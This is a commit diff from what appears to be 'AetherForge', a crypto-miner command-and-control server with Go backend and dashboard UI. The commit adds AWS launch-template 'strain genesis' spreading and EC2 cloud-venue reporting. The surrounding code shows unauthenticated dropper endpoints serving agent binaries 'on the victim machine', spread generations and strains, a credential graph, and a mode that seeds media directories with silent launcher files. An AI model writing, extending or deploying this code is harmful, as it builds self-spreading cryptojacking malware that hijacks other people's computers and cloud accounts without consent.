Wire launch-template genesis auth route and spread UI.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
@@ -13,7 +13,6 @@ import (
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
@@ -123,7 +122,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||||
h.pathTracer = handler
|
||||
}
|
||||
|
||||
// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
|
||||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
||||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||||
h.erasureEnabled = enabled
|
||||
h.erasureShards = store
|
||||
@@ -404,7 +403,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
)
|
||||
|
||||
// authSessionCache avoids running bcrypt on every API request.
|
||||
// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time.
|
||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
||||
// Entries are valid for authCacheTTL after the last successful login.
|
||||
// Bcrypt only runs on cache miss or expiry.
|
||||
var (
|
||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n")
|
||||
b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n")
|
||||
b.WriteString("Γòæ Γòæ\n")
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
users := make([]string, 0, len(creds))
|
||||
for user := range creds {
|
||||
users = append(users, user)
|
||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
||||
sort.Strings(users)
|
||||
for _, user := range users {
|
||||
pass := creds[user]
|
||||
fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user)
|
||||
fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass)
|
||||
b.WriteString("Γòæ Γòæ\n")
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
}
|
||||
b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n")
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
||||
|
||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||
// must not trigger that ΓÇö only bare browser navigations without these headers should.
|
||||
// must not trigger that — only bare browser navigations without these headers should.
|
||||
func isSPAAuthRequest(r *http.Request) bool {
|
||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||
}
|
||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
path := r.URL.Path
|
||||
|
||||
// Health check and one-liner installer endpoints are always open.
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
// A missing or empty fleet secret is always rejected ΓÇö the server auto-
|
||||
// A missing or empty fleet secret is always rejected — the server auto-
|
||||
// generates one at startup so this state should never occur in production.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
return
|
||||
}
|
||||
|
||||
// Fast path ΓÇö skip bcrypt if this credential pair was recently validated.
|
||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||
if !authCacheHit(user, pass) {
|
||||
usersMu.RLock()
|
||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// Credential verified ΓÇö cache it for the next few minutes.
|
||||
// Credential verified — cache it for the next few minutes.
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
AllowCredentials: false,
|
||||
}))
|
||||
|
||||
// REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
r.Route("/api/v1", func(r chi.Router) {
|
||||
r.Use(basicAuthMiddleware)
|
||||
h := NewHandler(database)
|
||||
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents.
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup ΓÇö authenticated full backup ZIP (config + DB + users)
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer ΓÇö on-demand WireGuard chain sessions
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header).
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware ΓÇö listed here for chi routing)
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate)
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||
// Unauthenticated (the drop URL itself is the secret).
|
||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
//
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||
var agentBinarySearchDir = func() (string, error) {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
@@ -202,6 +202,10 @@ type WSHub struct {
|
||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||
scoutAgents map[string]bool
|
||||
|
||||
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
||||
cloudVenueMu sync.Mutex
|
||||
cloudVenues *fleetai.CloudVenueRegistry
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
@@ -682,6 +686,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
|
||||
StrainCardID string `json:"strain_card_id,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
@@ -844,6 +850,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
|
||||
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
||||
})
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
log.Printf("Failed to upsert agent: %v", err)
|
||||
@@ -953,6 +962,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
|
||||
for k, v := range cloudPolicy {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
@@ -1464,6 +1478,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
|
||||
}
|
||||
|
||||
case "cloud_venue_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
CloudProvider string `json:"cloud_provider"`
|
||||
Environment string `json:"environment"`
|
||||
Workload string `json:"workload"`
|
||||
InstanceType string `json:"instance_type"`
|
||||
InstanceLifecycle string `json:"instance_lifecycle"`
|
||||
OrganizationalUnit string `json:"organizational_unit"`
|
||||
EC2Tags map[string]string `json:"ec2_tags"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(report.CloudProvider) == "" {
|
||||
report.CloudProvider = "aws"
|
||||
}
|
||||
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
|
||||
Environment: report.Environment,
|
||||
Workload: report.Workload,
|
||||
InstanceType: report.InstanceType,
|
||||
InstanceLifecycle: report.InstanceLifecycle,
|
||||
OrganizationalUnit: report.OrganizationalUnit,
|
||||
EC2Tags: report.EC2Tags,
|
||||
})
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
continue
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package main
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
|
||||
}
|
||||
|
||||
const aetherBanner = `
|
||||
ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù
|
||||
Γòæ Γòæ
|
||||
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
||||
Γòæ ┬╖ \ | / ┬╖ Γòæ
|
||||
Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ
|
||||
Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
|
||||
Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
|
||||
Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ
|
||||
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
||||
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ
|
||||
Γòæ / \ / \ Γòæ
|
||||
Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ
|
||||
Γòæ / / \ / \ \ ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ
|
||||
Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ
|
||||
Γòæ \ \ / \ / / Γòæ
|
||||
Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ
|
||||
Γòæ \ / \ / Γòæ
|
||||
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ
|
||||
║ ✦ · · · · ◈ · · · · ✦ ║
|
||||
Γòæ Γòæ
|
||||
ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥`
|
||||
╔══════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
||||
║ · \ | / · ║
|
||||
║ · \ | / · ▲▲▲ ║
|
||||
║ · ○─────●─────○ · ▲▲▲▲▲ ║
|
||||
║ · / | \ · ▲▲▲▲▲ ║
|
||||
║ · / | \ · ████ ║
|
||||
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
||||
║ ○───────────○ ██ ██ ██ ║
|
||||
║ / \ / \ ║
|
||||
║ / ●───────● \ A E T H E R F O R G E ║
|
||||
║ / / \ / \ \ ───────────────────────── ║
|
||||
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
|
||||
║ \ \ / \ / / ║
|
||||
║ \ ●───────● / ║
|
||||
║ \ / \ / ║
|
||||
║ ○───────────○ ║
|
||||
║ ✦ · · · · ◈ · · · · ✦ ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════╝`
|
||||
|
||||
func main() {
|
||||
fmt.Println(aetherBanner)
|
||||
@@ -85,12 +85,12 @@ func main() {
|
||||
defer cloudflared.Stop()
|
||||
}
|
||||
} else if tunnelExternal {
|
||||
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start")
|
||||
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
|
||||
} else {
|
||||
log.Println("[tunnel] No connector token configured")
|
||||
}
|
||||
|
||||
// Generate fleet secret once ΓÇö persisted in config.json so all future forges
|
||||
// Generate fleet secret once — persisted in config.json so all future forges
|
||||
// carry the same secret and agents keep working across server restarts.
|
||||
if cfg.Server.FleetSecret == "" {
|
||||
b := make([]byte, 32)
|
||||
@@ -99,9 +99,9 @@ func main() {
|
||||
}
|
||||
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
||||
if err := cfg.Save(); err != nil {
|
||||
log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err)
|
||||
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
|
||||
} else {
|
||||
log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up")
|
||||
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
|
||||
}
|
||||
} else {
|
||||
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||||
@@ -162,7 +162,7 @@ func main() {
|
||||
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||||
|
||||
// Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready.
|
||||
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
|
||||
api.SetRotateSecretFn(func() (string, error) {
|
||||
b := make([]byte, 32)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
@@ -244,7 +244,7 @@ func main() {
|
||||
wsHub.SetEventNotifier(eventNotifier)
|
||||
builderHandler.SetEventNotifier(eventNotifier)
|
||||
|
||||
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
||||
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
||||
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||
return alerts.Thresholds{
|
||||
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
|
||||
@@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
||||
return fmt.Errorf("invalid config: %w", err)
|
||||
}
|
||||
|
||||
// Semantic validation ΓÇö reject values that would break the server at runtime.
|
||||
// Semantic validation — reject values that would break the server at runtime.
|
||||
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
|
||||
return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port)
|
||||
return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
|
||||
}
|
||||
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
|
||||
return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port)
|
||||
return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
|
||||
}
|
||||
if incoming.Server.MaxAgents < 0 {
|
||||
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
|
||||
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
|
||||
}
|
||||
if incoming.Server.StatsRetentionHours < 0 {
|
||||
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
|
||||
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
|
||||
}
|
||||
if incoming.Server.BuildRetentionDays < 0 {
|
||||
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
|
||||
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
|
||||
}
|
||||
if incoming.Server.MaxBuildSizeMB < 0 {
|
||||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||||
}
|
||||
|
||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||
@@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
|
||||
return fmt.Errorf("config unavailable")
|
||||
}
|
||||
if v.AIDecisionIntervalSec < 0 {
|
||||
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
|
||||
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
|
||||
}
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
"server": map[string]interface{}{
|
||||
@@ -626,7 +626,7 @@ func findAgentSourceDir() string {
|
||||
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
||||
func validateListenPort(port int) error {
|
||||
if port < 1 || port > 65535 {
|
||||
return fmt.Errorf("port %d out of range (1ΓÇô65535)", port)
|
||||
return fmt.Errorf("port %d out of range (1–65535)", port)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -174,6 +174,12 @@
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="aws-launch-template">
|
||||
<h2>AWS Launch Template — strain genesis</h2>
|
||||
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
|
||||
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="cms">
|
||||
<h2>CMS & static host upload</h2>
|
||||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||||
@@ -288,6 +294,17 @@
|
||||
var btn = document.getElementById(primary);
|
||||
if (btn) btn.classList.add('primary');
|
||||
}
|
||||
var ltBtn = document.getElementById('btn-lt-generate');
|
||||
if (ltBtn) ltBtn.addEventListener('click', function () {
|
||||
var p = new URLSearchParams(window.location.search || '');
|
||||
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
|
||||
.then(function (r) { return r.json(); }).then(function (resp) {
|
||||
if (!resp.success) return;
|
||||
var hint = document.getElementById('lt-genesis-hint');
|
||||
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
|
||||
});
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
@@ -42,6 +42,10 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
|
||||
default: () => <div data-testid="spread-template-export" />,
|
||||
}));
|
||||
|
||||
vi.mock('./LaunchTemplateExportPanel', () => ({
|
||||
default: () => <div data-testid="launch-template-export" />,
|
||||
}));
|
||||
|
||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||
|
||||
@@ -17,6 +17,7 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
@@ -825,6 +826,10 @@ export default function CrucibleExpandedOps({
|
||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
|
||||
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||
<p className="crucible-seek-blurb">
|
||||
Recursively seeds every media directory under the given path with silent launcher files.
|
||||
|
||||
Reference in New Issue
Block a user